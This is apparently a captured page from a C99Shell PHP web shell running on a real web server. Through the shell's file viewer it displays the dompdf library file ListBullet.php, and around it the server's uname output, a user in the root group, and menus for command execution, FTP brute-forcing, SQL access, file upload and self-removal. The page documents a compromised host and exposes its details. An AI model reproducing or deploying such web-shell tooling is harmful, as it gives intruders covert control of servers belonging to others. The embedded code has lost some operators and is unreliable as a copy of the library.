!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/dompdf/dompdf/src/FrameDecorator/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ListBullet.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use 
Dompdf\Dompdf;
use 
Dompdf\Frame;

/**
 * Decorates frames for list bullet rendering
 *
 * @package dompdf
 */
class ListBullet extends AbstractFrameDecorator
{
    
/**
     * Bullet diameter as fraction of font size.
     */
    
public const BULLET_SIZE 0.35;

    
/**
     * Bullet offset from font baseline as fraction of font size.
     */
    
public const BULLET_OFFSET 0.1;

    
/**
     * Thickness of bullet outline as fraction of font size.
     * See also `DECO_THICKNESS`. Screen: 0.08, print: better less, e.g. 0.04.
     */
    
public const BULLET_THICKNESS 0.04;

    
/**
     * Indentation from the start of the line as fraction of font size.
     */
    
public const MARKER_INDENT 0.52;

    
/**
     * ListBullet constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    
function __construct(Frame $frameDompdf $dompdf)
    {
        
parent::__construct($frame$dompdf);
    }

    
/**
     * Get the width of the bullet symbol.
     *
     * @return float
     */
    
public function get_width(): float
    
{
        
$style $this->_frame->get_style();

        if (
$style->list_style_type === "none") {
            return 
0.0;
        }

        return 
$style->font_size self::BULLET_SIZE;
    }

    
/**
     * Get the height of the bullet symbol.
     *
     * @return float
     */
    
public function get_height(): float
    
{
        
$style $this->_frame->get_style();

        if (
$style->list_style_type === "none") {
            return 
0.0;
        }

        return 
$style->font_size self::BULLET_SIZE;
    }

    
/**
     * Get the width of the bullet, including indentation.
     */
    
public function get_margin_width(): float
    
{
        
$style $this->get_style();

        if (
$style->list_style_type === "none") {
            return 
0.0;
        }

        return 
$style->font_size * (self::BULLET_SIZE self::MARKER_INDENT);
    }

    
/**
     * Get the line height for the bullet.
     *
     * This increases the height of the corresponding line box when necessary.
     */
    
public function get_margin_height(): float
    
{
        
$style $this->get_style();

        if (
$style->list_style_type === "none") {
            return 
0.0;
        }

        
// TODO: This is a copy of `FrameDecorator\Text::get_margin_height()`
        // Would be nice to properly refactor that at some point
        
$font $style->font_family;
        
$size $style->font_size;
        
$fontHeight $this->_dompdf->getFontMetrics()->getFontHeight($font$size);

        return (
$style->line_height / ($size $size 1)) * $fontHeight;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--